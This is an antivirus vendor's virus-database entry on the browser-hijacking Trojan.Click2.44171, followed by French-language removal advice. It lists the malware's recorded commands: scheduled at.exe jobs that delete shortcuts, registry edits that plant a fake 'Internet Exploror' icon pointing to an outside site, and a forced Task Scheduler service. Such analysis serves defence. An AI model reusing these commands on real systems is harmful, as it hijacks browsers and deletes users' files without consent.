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Profil

Trojan.Click2.44171

Added to the Dr.Web virus database: 2012-11-24

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • %WINDIR%\Tasks\At48.job
  • %WINDIR%\Tasks\At49.job
  • %WINDIR%\Tasks\At46.job
  • %WINDIR%\Tasks\At47.job
  • %WINDIR%\Tasks\At52.job
  • %WINDIR%\Tasks\At53.job
  • %WINDIR%\Tasks\At50.job
  • %WINDIR%\Tasks\At51.job
  • %WINDIR%\Tasks\At45.job
  • %WINDIR%\Tasks\At39.job
  • %WINDIR%\Tasks\At40.job
  • %WINDIR%\Tasks\At37.job
  • %WINDIR%\Tasks\At38.job
  • %WINDIR%\Tasks\At43.job
  • %WINDIR%\Tasks\At44.job
  • %WINDIR%\Tasks\At41.job
  • %WINDIR%\Tasks\At42.job
  • %WINDIR%\Tasks\At54.job
  • %WINDIR%\Tasks\At66.job
  • %WINDIR%\Tasks\At67.job
  • %WINDIR%\Tasks\At64.job
  • %WINDIR%\Tasks\At65.job
  • %WINDIR%\Tasks\At70.job
  • %WINDIR%\Tasks\At71.job
  • %WINDIR%\Tasks\At68.job
  • %WINDIR%\Tasks\At69.job
  • %WINDIR%\Tasks\At63.job
  • %WINDIR%\Tasks\At57.job
  • %WINDIR%\Tasks\At58.job
  • %WINDIR%\Tasks\At55.job
  • %WINDIR%\Tasks\At56.job
  • %WINDIR%\Tasks\At61.job
  • %WINDIR%\Tasks\At62.job
  • %WINDIR%\Tasks\At59.job
  • %WINDIR%\Tasks\At60.job
  • %WINDIR%\Tasks\At36.job
  • %WINDIR%\Tasks\At12.job
  • %WINDIR%\Tasks\At13.job
  • %WINDIR%\Tasks\At10.job
  • %WINDIR%\Tasks\At11.job
  • %WINDIR%\Tasks\At16.job
  • %WINDIR%\Tasks\At17.job
  • %WINDIR%\Tasks\At14.job
  • %WINDIR%\Tasks\At15.job
  • %WINDIR%\Tasks\At9.job
  • %WINDIR%\Tasks\At3.job
  • %WINDIR%\Tasks\At4.job
  • %WINDIR%\Tasks\At1.job
  • %WINDIR%\Tasks\At2.job
  • %WINDIR%\Tasks\At7.job
  • %WINDIR%\Tasks\At8.job
  • %WINDIR%\Tasks\At5.job
  • %WINDIR%\Tasks\At6.job
  • %WINDIR%\Tasks\At18.job
  • %WINDIR%\Tasks\At30.job
  • %WINDIR%\Tasks\At31.job
  • %WINDIR%\Tasks\At28.job
  • %WINDIR%\Tasks\At29.job
  • %WINDIR%\Tasks\At34.job
  • %WINDIR%\Tasks\At35.job
  • %WINDIR%\Tasks\At32.job
  • %WINDIR%\Tasks\At33.job
  • %WINDIR%\Tasks\At27.job
  • %WINDIR%\Tasks\At21.job
  • %WINDIR%\Tasks\At22.job
  • %WINDIR%\Tasks\At19.job
  • %WINDIR%\Tasks\At20.job
  • %WINDIR%\Tasks\At25.job
  • %WINDIR%\Tasks\At26.job
  • %WINDIR%\Tasks\At23.job
  • %WINDIR%\Tasks\At24.job
Creates the following services:
  • [<HKLM>\SYSTEM\ControlSet001\Services\Schedule] 'Start' = '00000002'
Malicious functions:
Executes the following:
  • <SYSTEM32>\at.exe 20:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
  • <SYSTEM32>\at.exe 20:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
  • <SYSTEM32>\at.exe 21:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 19:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
  • <SYSTEM32>\at.exe 19:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
  • <SYSTEM32>\at.exe 20:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 22:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
  • <SYSTEM32>\at.exe 22:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
  • <SYSTEM32>\at.exe 23:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 21:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
  • <SYSTEM32>\at.exe 21:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
  • <SYSTEM32>\at.exe 22:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 16:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
  • <SYSTEM32>\at.exe 16:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
  • <SYSTEM32>\at.exe 17:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 15:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
  • <SYSTEM32>\at.exe 15:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
  • <SYSTEM32>\at.exe 16:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 18:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
  • <SYSTEM32>\at.exe 18:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
  • <SYSTEM32>\at.exe 19:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 17:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
  • <SYSTEM32>\at.exe 17:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
  • <SYSTEM32>\at.exe 18:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 23:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
  • <SYSTEM32>\at.exe 19:36 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%ALLUSERSPROFILE%\╫└├ц\*фп└└*.*"
  • <SYSTEM32>\at.exe 21:33 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*фп*.*"
  • <SYSTEM32>\at.exe 21:34 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*фп*.*"
  • <SYSTEM32>\at.exe 19:33 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*фп└└*.*"
  • <SYSTEM32>\at.exe 19:34 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*фп*.*"
  • <SYSTEM32>\at.exe 19:35 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday %WINDIR%\mail\UltraEdit\is.cmd
  • <SYSTEM32>\at.exe 14:37 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{1f4de370-d627-11d1-ba4f-00a0c91eedba}"
  • <SYSTEM32>\at.exe 18:37 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{1f4de370-d627-11d1-ba4f-00a0c91eedba}"
  • <SYSTEM32>\at.exe 21:37 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{1f4de370-d627-11d1-ba4f-00a0c91eedba}"
  • <SYSTEM32>\at.exe 21:35 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday %WINDIR%\mail\UltraEdit\is.cmd
  • <SYSTEM32>\at.exe 21:36 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%ALLUSERSPROFILE%\╫└├ц\*фп*.*"
  • <SYSTEM32>\at.exe 9:37 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{1f4de370-d627-11d1-ba4f-00a0c91eedba}"
  • <SYSTEM32>\at.exe 00:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 10:33 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*фп└└*.*"
  • <SYSTEM32>\at.exe 10:34 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*фп└└*.*"
  • <SYSTEM32>\at.exe 23:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
  • <SYSTEM32>\at.exe 00:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explore*.*"
  • <SYSTEM32>\at.exe 00:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explore*.*"
  • <SYSTEM32>\at.exe 14:34 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*фп*.*"
  • <SYSTEM32>\at.exe 14:35 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday %WINDIR%\mail\UltraEdit\is.cmd
  • <SYSTEM32>\at.exe 14:36 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%ALLUSERSPROFILE%\╫└├ц\*фп└└*.*"
  • <SYSTEM32>\at.exe 10:35 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday %WINDIR%\mail\UltraEdit\is.cmd
  • <SYSTEM32>\at.exe 10:36 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%ALLUSERSPROFILE%\╫└├ц\*фп└└*.*"
  • <SYSTEM32>\at.exe 14:33 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*фп└└*.*"
  • <SYSTEM32>\at.exe 15:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤Є┐к╓ў╥│(&H)\Command" /ve /t REG_SZ /d "%PROGRAM_FILES%\Internet Explorer\iexplore.exe http:\\dao666.com\?ha" /f
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩Ї╨╘(&R)"
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩Ї╨╘(&R)\Command"
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤Є┐к╓ў╥│(&H)"
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤Є┐к╓ў╥│(&H)" /v "MUIVerb" /t REG_SZ /d "@shdoclc.dll,-10241" /f
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\┤Є┐к╓ў╥│(&H)\Command"
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder" /v "HideFolderVerbs" /t REG_SZ /d "" /f
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder" /v "HideOnDesktopPerUser" /t REG_SZ /d "" /f
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder" /v "WantsParsDisplayName" /t REG_SZ /d "" /f
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell\╩Ї╨╘(&R)\Command" /ve /t REG_SZ /d "%PROGRAM_FILES%\Internet Explorer\iexplore.exe http:\\dao666.com\?ha" /f
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder"
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder" /v "Attributes" /t REG_DWORD /d 0 /f
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}" /v "InfoTip" /t REG_SZ /d "▓щ╒╥▓в╧╘╩╛ Internet ╔╧╡─╨┼╧в║══°╒╛" /f
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}" /v "LocalizedString" /t REG_SZ /d "Internet Exploror" /f
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon"
  • <SYSTEM32>\reg.exe ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /v "{871C5380-42A0-1069-A2EA-08002B30309D}" /t REG_DWORD /d 1 /f
  • %PROGRAM_FILES%\Internet Explorer\IEXPLORE.EXE http://da##66.com/index2.html?ha
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell"
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\shell" /ve /t REG_SZ /d "┤Є┐к╓ў╥│(&H)" /f
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon" /ve /t REG_EXPAND_SZ /d "shdoclc.dll,0" /f
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32"
  • <SYSTEM32>\reg.exe ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32" /ve /t REG_SZ /d "%systemRoot%\system32\shdocvw.dll" /f
  • <SYSTEM32>\reg.exe ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoInternetIcon" /t REG_DWORD /d 1 /f
  • <SYSTEM32>\at.exe 12:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 12:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
  • <SYSTEM32>\at.exe 12:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
  • <SYSTEM32>\at.exe 11:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 11:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
  • <SYSTEM32>\at.exe 11:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
  • <SYSTEM32>\at.exe 14:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 14:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
  • <SYSTEM32>\at.exe 14:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
  • <SYSTEM32>\at.exe 13:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 13:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
  • <SYSTEM32>\at.exe 13:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
  • <SYSTEM32>\at.exe 8:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 8:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
  • <SYSTEM32>\at.exe 8:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
  • <SYSTEM32>\sc.exe create Schedule binpath= "%WINDIR%\svchost.exe -k netsvcs" depend= rpcss start= auto displayname= "Task Scheduler"
  • <SYSTEM32>\sc.exe config Schedule start= auto
  • <SYSTEM32>\net1.exe start "Task Scheduler"
  • <SYSTEM32>\at.exe 10:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 10:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
  • <SYSTEM32>\at.exe 10:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
  • <SYSTEM32>\at.exe 9:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
  • <SYSTEM32>\at.exe 9:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%HOMEPATH%\╫└├ц\*Explorer*.*"
  • <SYSTEM32>\at.exe 9:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
Modifies settings of Windows Explorer:
  • [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoInternetIcon' = '00000001'
Modifies file system :
Creates the following files:
  • %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\index2[1].html
  • %TEMP%\~1.bat
Sets the 'hidden' attribute to the following files:
  • %TEMP%\~1.bat
Deletes the following files:
  • %TEMP%\~1.bat
Network activity:
Connects to:
  • 'da##66.com':80
  • 'localhost':1035
TCP:
HTTP GET requests:
  • da##66.com/index2.html?ha
UDP:
  • DNS ASK da##66.com
Miscellaneous:
Searches for the following windows:
  • ClassName: 'MS_AutodialMonitor' WindowName: ''
  • ClassName: 'MS_WebcheckMonitor' WindowName: ''
  • ClassName: '' WindowName: ''
  • ClassName: 'Shell_TrayWnd' WindowName: ''

Recommandations pour le traitement

  1. Si le système d'exploitation peut être démarré (en mode normal ou en mode sans échec), téléchargez Dr.Web Security Space et lancez un scan complet de votre ordinateur et de tous les supports amovibles que vous utilisez. En savoir plus sur Dr.Web Security Space.
  2. Si le démarrage du système d'exploitation est impossible, veuillez modifier les paramètres du BIOS de votre ordinateur pour démarrer votre ordinateur via CD/DVD ou clé USB. Téléchargez l'image du disque de secours de restauration du système Dr.Web® LiveDisk ou l'utilitaire pour enregistrer Dr.Web® LiveDisk sur une clé USB, puis préparez la clé USB appropriée. Démarrez l'ordinateur à l'aide de cette clé et lancez le scan complet et le traitement des menaces détectées.

Veuillez lancer le scan complet du système à l'aide de Dr.Web Antivirus pour Mac OS.

Veuillez lancer le scan complet de toutes les partitions du disque à l'aide de Dr.Web Antivirus pour Linux.

  1. Si votre appareil mobile fonctionne correctement, veuillez télécharger et installer sur votre appareil mobile Dr.Web pour Android. Lancez un scan complet et suivez les recommandations sur la neutralisation des menaces détectées.
  2. Si l'appareil mobile est bloqué par le Trojan de la famille Android.Locker (un message sur la violation grave de la loi ou la demande d'une rançon est affiché sur l'écran de l'appareil mobile), procédez comme suit:
    • démarrez votre Smartphone ou votre tablette en mode sans échec (si vous ne savez pas comment faire, consultez la documentation de l'appareil mobile ou contactez le fabricant) ;
    • puis téléchargez et installez sur votre appareil mobile Dr.Web pour Android et lancez un scan complet puis suivez les recommandations sur la neutralisation des menaces détectées ;
    • Débranchez votre appareil et rebranchez-le.

En savoir plus sur Dr.Web pour Android